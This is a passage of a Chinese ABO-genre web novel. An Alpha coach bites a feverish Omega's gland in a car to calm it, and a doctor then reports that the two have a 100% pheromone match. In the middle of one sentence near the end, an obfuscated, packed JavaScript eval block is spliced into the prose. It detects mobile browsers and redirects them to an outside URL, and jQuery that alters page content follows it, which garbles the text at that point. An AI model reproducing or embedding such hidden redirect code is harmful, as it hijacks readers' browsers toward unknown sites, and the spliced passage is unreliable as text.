桃楠没力气回应,只轻轻“嗯”了一声,脑袋歪在椅背上,烧得眼睛都快睁不开。 梨砚看着他难受的模样,心里又悔又急,早知道会失控,刚才就该离他远一点,早知道他会这么难受,就该提前备着应急的抑制剂。 车子里的暖气开得很足,却压不住梨砚身上渐渐漫开的梨花味,是春日柔媚的清香,是带着Alpha信息素特有的冷冽清透,像刚落过雨的梨树林,一点点裹住桃楠。 桃楠靠在椅背上,意识本就被发烧烧得模糊,这股梨花味钻进来的瞬间,他浑身的神经像被烫了一下。 后颈的腺体不再是尖锐的疼,反而泛起一阵奇怪的痒,顺着脊椎往四肢蔓延,连指尖都开始发麻。 “别……”他下意识攥紧了衣角,指甲掐进掌心,试图对抗这突如其来的渴望。 理智告诉他不能这样,梨砚是教练,是带他来看病的人,可身体的本能却像脱了缰。 他想再靠近一点,想让这股梨花味把自己完全裹住,想让梨砚的气息占满他的每一寸感官。 这种渴望太强烈了,压得他喘不过气。 他偏过头,模糊的视线落在梨砚握着方向盘的侧脸上,路灯的光透过车窗扫过来,勾勒出他紧绷的下颌线。 不知道为什么,看着这张脸,心里的不安突然散了大半,反而涌起一种莫名的信任,像认识了很久似的,连带着那点羞耻的渴望都变得理直气壮。 “梨教练……”桃楠的声音发哑,带着发烧时的软糯,还有自己都没察觉的依赖。 他撑着副驾的扶手,身体不受控地往驾驶座这边挪,动作虚浮却很坚定,“你……靠过来点……” 梨砚正盯着路况,余光瞥见他动,心里一紧:“别乱动,马上就到了。”他想伸手把桃楠推回去,却没等碰到人,桃楠就已经扶着他的胳膊,软软地靠了过来。 滚烫的体温透过衣料传过来,桃楠的脑袋抵在他的肩窝,呼吸里带着浓重的鼻音,还有一丝压抑的轻喘:“我腺体……好难受……” 他仰起脸,烧得发红的眼睛盯着梨砚,声音里带着点祈求,“你咬我一下……好不好?就一下……” 后颈的腺体主动蹭了蹭梨砚的小臂,像是在催促。 桃楠自己都吓了一跳,他怎么会说出这种话?可身体的本能完全压过了理智,梨砚身上的梨花味还在勾着他,让他只想把自己完全交出去,让这个人的信息素彻底安抚他躁动的腺体。 梨砚浑身一僵,握着方向盘的手猛地收紧。 桃楠的气息就在耳边,软乎乎的,带着桃花香的呼吸扫过他的脖颈,还有后颈那处滚烫的腺体,正贴着他的胳膊轻轻蹭。 他能清晰地感受到怀里人的颤抖,是难受,也是渴望。 “桃楠,别闹。”梨砚的声音哑得厉害,努力压着喉咙里的干涩,“再忍几分钟,医生就在医院等了。” 他想把人推开,可指尖碰到桃楠发烫的脸颊,又忍不住放轻了力道。 他知道这种腺体躁动的难受,更知道自己的信息素对桃楠有多大的吸引力,可现在绝不能失控。 可桃楠像是没听见,反而更往他怀里缩了缩,下巴抵着他的锁骨,声音里带了点委屈:“我忍不住了……梨教练,就一下……” 他的手还在不安分地抓着梨砚的衣角,后颈的腺体又往他手边送了送,完全是一副任由摆布的模样。 35. 匹配度 车子还在夜色里往前冲,桃楠靠在梨砚肩头的身体却越来越烫,呼吸也变得急促,连带着抓着梨砚衣角的手都在发抖。 他的脸泛着不正常的潮红,额前的碎发被冷汗打湿,贴在皮肤上,连呼吸都带着滚烫的温度,喷在梨砚的颈侧,勾得人心里发颤。 后颈的腺体像被火烤着,又胀又麻,那股渴望梨砚信息素的念头越来越强烈,几乎要把他的理智烧光。 “梨教练……好热……”他喃喃着,脑袋昏沉地蹭了蹭梨砚的脖子,滚烫的呼吸扫过对方的皮肤,“我撑不住了……” 梨砚用余光瞥见他泛白的嘴唇和额头上不断渗出的冷汗,心像被揪着一样疼。 他知道再硬撑下去,桃楠的腺体恐怕会更严重,可现在停车……他攥着方向盘的手青筋暴起,内心天人交战。 理智告诉自己必须保持克制,可怀里人的痛苦又让他无法置之不理。 “吱——”尖锐的刹车声划破夜空,梨砚猛地把车停在路边的应急车道,双闪灯瞬间亮起。 他解开安全带,转身扶住几乎要滑下去的桃楠,声音里全是挣扎:“桃楠,你看着我,再忍……” 话没说完,桃楠突然伸手勾住他的脖子,滚烫的脸贴上来,后颈主动凑到他面前,带着哭腔的声音里满是哀求:“咬我……梨砚,求你了……没关系的。” 那声带着依赖的“梨砚”,彻底击溃了梨砚最后的防线。 他的阿楠很久没有叫过他的名字了。 梨砚的喉结上下滚动了一圈,指尖碰到桃楠后颈滚烫的皮肤时,几乎是条件反射地缩了一下。 他看着桃楠后颈泛红的腺体,感受着怀里不受控的颤抖。 “桃楠,”他哑着嗓子开口,声音里还带着最后一丝克制,可双手已经不受控地扶住了桃楠的后颈,指尖轻轻摩挲着那处敏感的腺体。 他想说,阿楠,别后悔。 桃楠立刻像找到了支点,往他掌心蹭了蹭,声音里带着哭腔:“你快点……” 明明他讨厌被信息素控制的感觉,但他对梨砚就是莫名的信任,没有任何想要反抗的情绪。 梨砚闭了闭眼,终于低头,唇先轻轻贴在桃楠后颈的皮肤上,感受着底下腺体的躁动。 这是他惦记了8年的腺体,从里面还没有信息素的味道就开始了。 下一秒,梨砚的牙齿轻轻咬破那层薄皮,带着冷冽气息的梨花味信息素缓缓注入桃楠的腺体。 牙齿轻轻咬破腺体表面的皮肤时,桃楠浑身一颤,随即发出一声满足的轻哼,紧绷的身体瞬间软了下来。 梨砚的信息素带着清冷的甜香,顺着咬破的伤口缓缓注入,像一股清凉的泉水,瞬间压下了腺体的灼热和躁动。 但他的双手还紧紧抓着对方的衬衫,把脸埋进他的颈窝,贪婪地呼吸着满是梨花味的空气,“就是这样……梨砚……” 梨砚能清晰地感受到怀里人呼吸渐渐平稳,可心里的自责却越来越重。 他控制着注入的信息素剂量,不敢多,怕再次失控,咬在腺体上的力道也放得极轻,生怕弄疼桃楠。 几秒钟后,他迅速退开,用指尖快速擦去眼角的水痕,随后轻轻碰了碰桃楠后颈的伤口,声音沙哑:“好点了吗?” 桃楠靠在他怀里,烧得发红的眼睛半睁着,意识依旧有些模糊,但腺体的胀痛确实缓解了不少。 他蹭了蹭梨砚的胸口,像只找到依靠的小动物,小声“嗯”了一声,声音里还带着点刚哭过的鼻音:“不疼了……” 梨砚松了口气,却还是忍不住皱紧眉头,刚才的失控,终究是他的疏忽。 他轻轻把桃楠扶回副驾,重新扣好安全带,又拿湿巾帮他擦了擦额头上的汗,才重新发动车子:“再坚持会儿,马上到医院了。” 车子再次驶进夜色,桃楠靠在椅背上,望着梨砚专注开车的侧脸,后颈还残留着梨砚牙齿的触感和淡淡的梨花味。 他闭上眼,心里那股莫名的熟悉感又涌了上来,连带着对梨砚的信任,也比刚才更重了些。 车子在医院门口停下时,桃楠的意识已经清醒了大半,只是后颈还残留着轻微的麻意,鼻尖萦绕的梨花味也淡了些,却足够压下那股灼痛感。 梨砚先下车绕到副驾,打开车门时,语气刻意放得平淡,解释刚才的事:“刚才……我只是怕你腺体会更严重的问题,临时帮你缓解一下,你不用有负担。” 他垂着眼,没敢看桃楠的表情,指尖还残留着触碰对方后颈时的滚烫温度,心里的慌乱却被刻意压了下去。 他怕桃楠觉的这份“帮忙”是困扰。 桃楠愣了愣,后颈的触感还清晰,他没从梨砚的话里听出别的情绪,轻轻点头:“我知道的,谢谢梨教练帮我。” 他不受控制的想,我是不是给梨教练添麻烦,让他烦了? 下一秒,桃楠就打断了这个想法,他觉得自己变得有点奇怪。 两人走进医院,梨砚熟门熟路地找到上次给桃楠检查腺体的医生办公室。 医生见他们来,立刻起身,听梨砚说简单的情况说明,目光在桃楠后颈那处浅浅的牙印上顿了顿,又看向梨砚,眼神带着了然。 “上次我就跟你说过,你的腺体对某个人的信息素高度敏感,甚至会出现依赖反应。” 李医生一边给桃楠做基础检查,一边开口,“刚才帮你缓解的,应该就是这个人吧?” 桃楠下意识看向梨砚,见对方点头,才小声应了句:“嗯。” 李医生放下检查仪器,推了推眼镜,语气认真:“你们俩最好做个信息素匹配度报告。一方面能确认匹配程度,后续如果再出现腺体躁动,也好知道该怎么调整应急方案。 “另一方面,也能避免下次再出现今天这种‘临时缓解’的情况,毕竟标记还是需要根据匹配度控制剂量,不然对Omega的腺体反而有风险。” 梨砚听到“信息素匹配度报告”时,指尖几不可查地动了一下,随即立刻应道:“好,我们现在就能做吗?” 他怕错过这个能多了解他一点的机会。 桃楠没反驳,觉得医生的话有道理,低头摸了摸后颈,那里的麻意已经变成了淡淡的暖意,像梨砚刚才掌心的温度,让他莫名觉得安心。 护士来抽信息素样本时,梨砚站在旁边,目光一直落在桃楠身上,直到对方抽完血,才递过一瓶温水:“坐着等会儿吧,报告大概要半小时出来。” 护士抽完血离开后,诊室里只剩下桃楠和梨砚两人。 空气里还没散尽的消毒水味,忽然被两股更清晰的气息搅乱,桃楠身上淡得像春日晚风里的桃花香,混着梨砚那股冷冽又清甜的梨花味。 因为刚抽过信息素样本,血液里的信息素浓度又很高,所以现在空气里都是他们两个的味道。 桃楠坐在靠窗的椅子上,指尖无意识摩挲着温水瓶的瓶盖。 窗外的夜色浓得化不开,偶尔有救护车的鸣笛声远远掠过,却没打破诊室里的安静。 他鼻尖萦绕着那股熟悉的梨花味,比刚才在车里更明显些,混着自己身上的桃花香,像把春天的梨园搬进了屋子,让他太阳穴微微发沉,连思维都慢了半拍。 “是不是有点晕?”梨砚先察觉到不对,他靠在墙边,指尖抵着眉心,试图压下那股突如其来的昏沉。 桃花香钻进鼻腔时,后颈的腺体竟也跟着泛起细微的痒意,这是他从未有过的反应,明明以前只是看着桃楠,就足够让他心跳失控,现在却连信息素都在悄悄呼应。 桃楠抬头,眼神里带着点茫然,脸颊还泛着没退下去的淡红:“嗯……有点,好像闻多了咱们俩的味道……” 他说着,下意识往旁边挪了挪,想拉开点距离,却发现那股混合的气息反而更浓了,像有层柔软的网把两人裹在里面,连呼吸都变得有些发烫。 梨砚看着他慌乱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326508|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模样,喉结轻轻滚了滚。 他想起八年前那个夏夜,桃楠身上还没有信息素的味道,只带着西瓜的甜气,那时他就想把人护在身边。 现在这股让他腺体发烫的桃花香,像印证着什么,让他心里那点藏了多年的期待,又悄悄冒了头。 就在两人都被信息素搅得有些恍惚时,医生拿着一份打印好的报告走了进来,脸上带着明显的惊讶,连语气都比刚才郑重了些:“你们的匹配度报告出来了,是100%” “100%?”桃楠猛地抬头,手里的温水瓶差点没拿稳。 他知道Omega和Alpha的信息素匹配度能到八十以上就已经很罕见,百分百几乎是传说里的情况,他盯着报告上那行醒目的数字,指尖都开始发颤,“这……这怎么会这么高?” 他讨厌高匹配度,及其讨厌。 梨砚闻言也愣在了原地,他快步走过去,目光落在报告上,确认那行“100%”的字样时,心脏像被什么东西狠狠撞了一下。 信息素的失控、腺体的发烫,此刻都有了答案,但这不是他想要的答案。 他担心的看向桃楠,但没从他的脸色上看出不对。 他应该还是很讨厌高匹配度吧……… 医生看着两人震惊的模样,笑着解释:“这种情况确实少见,但也不是没有,你们两个的信息素属于‘互补型完美匹配’。” 桃楠的指尖还停留在报告纸页上,那行“100%”的字迹像细小的针,轻轻扎在他心里。 刚才因为信息素交融生出的那点莫名悸动,瞬间被一层淡淡的失望裹住,连呼吸都跟着沉了沉。 他垂着眼,长长的睫毛在眼下投出小片阴影,把眼底的情绪藏了大半。 原来刚才在车里的依赖、闻到梨花味时的安心,甚至对梨砚那股说不出的熟悉感,都不是因为他自己,而是这该死的信息素本能,是身体里的Omega腺体,先一步认了这个Alpha,才让他不由自主地靠近。 桃楠觉得他对梨砚的一些不堪入目的想法,都是因为信息素的驱使,他刚在车里的行为也只是因为信息素。 那他和秦征有什么区别? 他想起自己一直抗拒被信息素左右,讨厌别人用“Omega天生比Alpha弱”的标签定义他。 可现在却发现,连自己对梨砚的信任,都可能是完美匹配的信息素在背后推波助澜。 这种“身不由己”的感觉,让他心里有点发闷,刚才后颈残留的暖意,好像也凉了几分。 梨砚还沉浸在“100%匹配”的震惊里,转头时刚好瞥见桃楠垂着的侧脸,那股刚消散没多久的桃花香,似乎又淡了些,连带着他周身的气息都变得低落。 他心里一紧,上前半步想问“怎么了”,却看见桃楠轻轻攥紧了报告,指节微微泛白,声音也比刚才轻了许多:“原来……是因为这个啊。” 桃楠还没来的及搞清楚的情绪,就这样被戳破,像梦幻的泡泡,转瞬即逝。 他的语气里没有惊喜,反而带着点说不清的怅然,像期待了很久,就快要知道答案的东西,最后发现只是一场错误的错觉。 梨砚的心跟着沉了沉,他懂桃楠因为小时候的事情讨厌高匹配度,他懂桃楠的骄傲,知道对方从不希望自己的选择被信息素左右,现在这份“完美匹配”,反而像给桃楠套上了一层无形的枷锁。 “桃楠,”梨砚的声音放得很轻,小心翼翼地斟酌着措辞,“就算匹配度高,也代表不了什么。” 他想伸手拍拍桃楠的肩膀,却又怕触碰到对方此刻敏感的情绪,手悬在半空,最终还是轻轻落在了自己身侧。 桃楠抬起头,眼底的失望还没完全褪去,却还是扯了扯嘴角,试图让语气听起来自然些:“我知道,就是……有点意外。” 他把报告轻轻递还给医生,指尖碰到纸页时还有点发僵,“谢谢医生,我们知道结果了。”